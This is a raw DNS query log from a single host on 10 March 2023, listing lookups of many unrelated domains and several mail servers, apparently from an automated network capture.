Mar 10, 2023 07:55:52.936168909 CET	192.168.2.6	8.8.8.8	0x2860	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.991072893 CET	192.168.2.6	8.8.8.8	0xf7c8	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.032032013 CET	192.168.2.6	8.8.8.8	0xa7e4	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.083565950 CET	192.168.2.6	8.8.8.8	0xea81	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.205029011 CET	192.168.2.6	8.8.8.8	0xb936	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.225492954 CET	192.168.2.6	8.8.8.8	0xf8f	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.270915031 CET	192.168.2.6	8.8.8.8	0x57f7	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.299278021 CET	192.168.2.6	8.8.8.8	0x2159	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.299628019 CET	192.168.2.6	8.8.8.8	0x266f	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.300420046 CET	192.168.2.6	8.8.8.8	0xc794	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.300698042 CET	192.168.2.6	8.8.8.8	0x18eb	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.301414013 CET	192.168.2.6	8.8.8.8	0xaf50	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.307600975 CET	192.168.2.6	8.8.8.8	0xbcc1	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.307743073 CET	192.168.2.6	8.8.8.8	0x5835	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.311527014 CET	192.168.2.6	8.8.8.8	0xd557	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.641937017 CET	192.168.2.6	8.8.8.8	0xb092	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.642834902 CET	192.168.2.6	8.8.8.8	0x8515	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.658046961 CET	192.168.2.6	8.8.8.8	0x1e3c	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.677879095 CET	192.168.2.6	8.8.8.8	0x5405	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.689481020 CET	192.168.2.6	8.8.8.8	0x8d09	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.691898108 CET	192.168.2.6	8.8.8.8	0xbeab	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.700503111 CET	192.168.2.6	8.8.8.8	0xedc9	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.704010010 CET	192.168.2.6	8.8.8.8	0x8db1	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.705279112 CET	192.168.2.6	8.8.8.8	0xa632	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.760344028 CET	192.168.2.6	8.8.8.8	0xdb44	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.819185019 CET	192.168.2.6	8.8.8.8	0x4c41	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.910939932 CET	192.168.2.6	8.8.8.8	0x1676	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.914230108 CET	192.168.2.6	8.8.8.8	0x6e38	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.917741060 CET	192.168.2.6	8.8.8.8	0xbc2a	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.919471979 CET	192.168.2.6	8.8.8.8	0x7f95	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.954808950 CET	192.168.2.6	8.8.8.8	0x1a7b	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.954938889 CET	192.168.2.6	8.8.8.8	0x7dab	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.969912052 CET	192.168.2.6	8.8.8.8	0x3ed1	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.047261953 CET	192.168.2.6	8.8.8.8	0xdd37	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.120831013 CET	192.168.2.6	8.8.8.8	0x59e6	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.164521933 CET	192.168.2.6	8.8.8.8	0x228a	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.164899111 CET	192.168.2.6	8.8.8.8	0x45e1	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.174113035 CET	192.168.2.6	8.8.8.8	0x293e	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.174547911 CET	192.168.2.6	192.203.230.10	0x49	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:54.182782888 CET	192.168.2.6	8.8.8.8	0xf59b	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.196433067 CET	192.168.2.6	198.41.0.4	0x1f	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:54.213898897 CET	192.168.2.6	198.32.64.12	0x8d	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:54.258061886 CET	192.168.2.6	8.8.8.8	0xf3c7	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.270899057 CET	192.168.2.6	8.8.8.8	0x1683	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.276568890 CET	192.168.2.6	8.8.8.8	0xa5d	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.484636068 CET	192.168.2.6	8.8.8.8	0x7564	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.539904118 CET	192.168.2.6	8.8.8.8	0xec67	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.552774906 CET	192.168.2.6	8.8.8.8	0xe619	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.554944038 CET	192.168.2.6	8.8.8.8	0x59fe	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.632047892 CET	192.168.2.6	8.8.8.8	0x7d72	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.777587891 CET	192.168.2.6	8.8.8.8	0x6387	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.844616890 CET	192.168.2.6	8.8.8.8	0x1dde	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.881994009 CET	192.168.2.6	8.8.8.8	0x4328	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.897176981 CET	192.168.2.6	8.8.8.8	0x7d13	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.899626017 CET	192.168.2.6	8.8.8.8	0x4c96	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.901014090 CET	192.168.2.6	8.8.8.8	0xb999	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.915721893 CET	192.168.2.6	8.8.8.8	0xc995	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.076387882 CET	192.168.2.6	8.8.8.8	0x8cfc	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.108575106 CET	192.168.2.6	8.8.8.8	0x24d	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.171389103 CET	192.168.2.6	8.8.8.8	0x189e	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.172935963 CET	192.168.2.6	8.8.8.8	0xe4c9	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.176908016 CET	192.168.2.6	8.8.8.8	0x42be	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.240401983 CET	192.168.2.6	8.8.8.8	0xcbfd	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.253102064 CET	192.168.2.6	8.8.8.8	0xd0c0	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.258078098 CET	192.168.2.6	8.8.8.8	0x28d8	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.262006998 CET	192.168.2.6	8.8.8.8	0xc233	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.265970945 CET	192.168.2.6	8.8.8.8	0x91c8	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.267797947 CET	192.168.2.6	8.8.8.8	0x3efa	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.315570116 CET	192.168.2.6	8.8.8.8	0xc38b	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.326344967 CET	192.168.2.6	8.8.8.8	0xcd98	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.352149010 CET	192.168.2.6	8.8.8.8	0x1863	Standard query (0)	in1.smtp.messaginguser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.354729891 CET	192.168.2.6	8.8.8.8	0xed30	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.354922056 CET	192.168.2.6	8.8.8.8	0x4fed	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.366080999 CET	192.168.2.6	8.8.8.8	0x292c	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.369545937 CET	192.168.2.6	8.8.8.8	0x6809	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.376470089 CET	192.168.2.6	8.8.8.8	0x50a4	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.376739979 CET	192.168.2.6	8.8.8.8	0xf54c	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.376789093 CET	192.168.2.6	8.8.8.8	0x857a	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.376877069 CET	192.168.2.6	8.8.8.8	0xdeea	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.376981020 CET	192.168.2.6	8.8.8.8	0xbeb1	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.378351927 CET	192.168.2.6	8.8.8.8	0xa652	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.410372972 CET	192.168.2.6	8.8.8.8	0xb1e8	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.472654104 CET	192.168.2.6	8.8.8.8	0x1bd6	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.720005035 CET	192.168.2.6	8.8.8.8	0x6c1b	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.740108013 CET	192.168.2.6	8.8.8.8	0x70a8	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.740983009 CET	192.168.2.6	8.8.8.8	0xe2b1	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.759710073 CET	192.168.2.6	8.8.8.8	0x8928	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.917800903 CET	192.168.2.6	8.8.8.8	0xe4d2	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.920804024 CET	192.168.2.6	8.8.8.8	0xe4cf	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.928206921 CET	192.168.2.6	8.8.8.8	0x7acc	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.933480978 CET	192.168.2.6	8.8.8.8	0x7b0d	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.955741882 CET	192.168.2.6	8.8.8.8	0xef59	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.966185093 CET	192.168.2.6	8.8.8.8	0xde43	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.969227076 CET	192.168.2.6	8.8.8.8	0x27e7	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.057924986 CET	192.168.2.6	8.8.8.8	0x5d1b	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.086430073 CET	192.168.2.6	8.8.8.8	0x6113	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.128983974 CET	192.168.2.6	8.8.8.8	0x18ab	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.158737898 CET	192.168.2.6	8.8.8.8	0xb6be	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.158859015 CET	192.168.2.6	8.8.8.8	0x9069	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.240686893 CET	192.168.2.6	8.8.8.8	0xcf55	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.255177021 CET	192.168.2.6	8.8.8.8	0xfd2e	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.292790890 CET	192.168.2.6	8.8.8.8	0x1f78	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.304554939 CET	192.168.2.6	8.8.8.8	0x75de	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.326625109 CET	192.168.2.6	8.8.8.8	0x3aa0	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.354804993 CET	192.168.2.6	8.8.8.8	0xdbaf	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.357558012 CET	192.168.2.6	8.8.8.8	0x8b30	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.559443951 CET	192.168.2.6	8.8.8.8	0x9409	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.623317957 CET	192.168.2.6	8.8.8.8	0xaf0e	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.648905039 CET	192.168.2.6	8.8.8.8	0xf8f0	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.677522898 CET	192.168.2.6	8.8.8.8	0xd1e3	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.715912104 CET	192.168.2.6	8.8.8.8	0x525d	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.726201057 CET	192.168.2.6	8.8.8.8	0xc13	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.837572098 CET	192.168.2.6	8.8.8.8	0x8290	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.111243963 CET	192.168.2.6	8.8.8.8	0xe4cf	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.143410921 CET	192.168.2.6	8.8.8.8	0x361	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.151829004 CET	192.168.2.6	8.8.8.8	0x2e58	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.155081987 CET	192.168.2.6	8.8.8.8	0x83e	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.163507938 CET	192.168.2.6	8.8.8.8	0x4aaf	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.184385061 CET	192.168.2.6	8.8.8.8	0xf3c3	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.228209019 CET	192.168.2.6	8.8.8.8	0x6f24	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.234047890 CET	192.168.2.6	8.8.8.8	0xbd79	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.240773916 CET	192.168.2.6	8.8.8.8	0xa0b6	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.319766045 CET	192.168.2.6	8.8.8.8	0xcbbd	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.432586908 CET	192.168.2.6	8.8.8.8	0xb98a	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.454571009 CET	192.168.2.6	8.8.8.8	0x5835	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.471813917 CET	192.168.2.6	8.8.8.8	0x3ea8	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.554199934 CET	192.168.2.6	8.8.8.8	0xa70d	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.572108030 CET	192.168.2.6	8.8.8.8	0xcd9e	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.719876051 CET	192.168.2.6	8.8.8.8	0xefe	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.727264881 CET	192.168.2.6	8.8.8.8	0xd436	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.731584072 CET	192.168.2.6	8.8.8.8	0x9940	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.815201998 CET	192.168.2.6	8.8.8.8	0xb92c	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.897789001 CET	192.168.2.6	8.8.8.8	0x258d	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.903621912 CET	192.168.2.6	8.8.8.8	0xfb16	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.904289007 CET	192.168.2.6	8.8.8.8	0x573c	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.950191021 CET	192.168.2.6	8.8.8.8	0x8290	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.989151955 CET	192.168.2.6	8.8.8.8	0xb1a8	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.016760111 CET	192.168.2.6	8.8.8.8	0x77ee	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.020436049 CET	192.168.2.6	8.8.8.8	0x8806	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.022397041 CET	192.168.2.6	8.8.8.8	0xe714	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.022542953 CET	192.168.2.6	8.8.8.8	0x311c	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.060055017 CET	192.168.2.6	8.8.8.8	0x273e	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.139178991 CET	192.168.2.6	8.8.8.8	0x665a	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.144871950 CET	192.168.2.6	8.8.8.8	0x579c	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.216636896 CET	192.168.2.6	8.8.8.8	0xeb1	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.219845057 CET	192.168.2.6	8.8.8.8	0x6a70	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.342619896 CET	192.168.2.6	8.8.8.8	0x83b5	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.387326956 CET	192.168.2.6	8.8.8.8	0xc1a7	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.388945103 CET	192.168.2.6	8.8.8.8	0xd08d	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.450716972 CET	192.168.2.6	8.8.8.8	0x7631	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.455267906 CET	192.168.2.6	8.8.8.8	0xa12e	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.455992937 CET	192.168.2.6	8.8.8.8	0xcc4	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.493992090 CET	192.168.2.6	8.8.8.8	0x69fc	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.507462978 CET	192.168.2.6	8.8.8.8	0xe4cf	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.524960995 CET	192.168.2.6	8.8.8.8	0x93fc	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.532234907 CET	192.168.2.6	8.8.8.8	0xf661	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.536391973 CET	192.168.2.6	8.8.8.8	0x963	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.568316936 CET	192.168.2.6	8.8.8.8	0x8e3e	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.634398937 CET	192.168.2.6	8.8.8.8	0x3868	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.662097931 CET	192.168.2.6	8.8.8.8	0x6034	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.703545094 CET	192.168.2.6	8.8.8.8	0xc6ea	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.736857891 CET	192.168.2.6	8.8.8.8	0x9400	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.738173008 CET	192.168.2.6	8.8.8.8	0x668d	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.748023987 CET	192.168.2.6	8.8.8.8	0xbe03	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.750849962 CET	192.168.2.6	8.8.8.8	0xe3cb	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.810868025 CET	192.168.2.6	8.8.8.8	0xe94b	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.826993942 CET	192.168.2.6	8.8.8.8	0x7620	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.853676081 CET	192.168.2.6	8.8.8.8	0xe23d	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.857285023 CET	192.168.2.6	8.8.8.8	0xfc19	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.898329973 CET	192.168.2.6	8.8.8.8	0x366a	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.958625078 CET	192.168.2.6	8.8.8.8	0x64ad	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.986901045 CET	192.168.2.6	8.8.8.8	0xc189	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.991460085 CET	192.168.2.6	8.8.8.8	0x19de	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.995327950 CET	192.168.2.6	8.8.8.8	0xa73f	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.038857937 CET	192.168.2.6	8.8.8.8	0xf46e	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.042244911 CET	192.168.2.6	8.8.8.8	0xf2f4	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.042581081 CET	192.168.2.6	8.8.8.8	0x7436	Standard query (0)	akr.co.id	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.043180943 CET	192.168.2.6	8.8.8.8	0x8cb7	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.069952011 CET	192.168.2.6	8.8.8.8	0x1cef	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.158286095 CET	192.168.2.6	8.8.8.8	0x76ba	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.181798935 CET	192.168.2.6	8.8.8.8	0x31bf	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.189255953 CET	192.168.2.6	8.8.8.8	0xed60	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.199390888 CET	192.168.2.6	8.8.8.8	0x8561	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.203166962 CET	192.168.2.6	8.8.8.8	0x1932	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.203577042 CET	192.168.2.6	8.8.8.8	0xba44	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.247004986 CET	192.168.2.6	8.8.8.8	0x9f3d	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.357074976 CET	192.168.2.6	8.8.8.8	0x46b5	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.391832113 CET	192.168.2.6	8.8.8.8	0xd694	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.479072094 CET	192.168.2.6	8.8.8.8	0xb46b	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.480290890 CET	192.168.2.6	8.8.8.8	0xa48d	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.482502937 CET	192.168.2.6	8.8.8.8	0x240	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
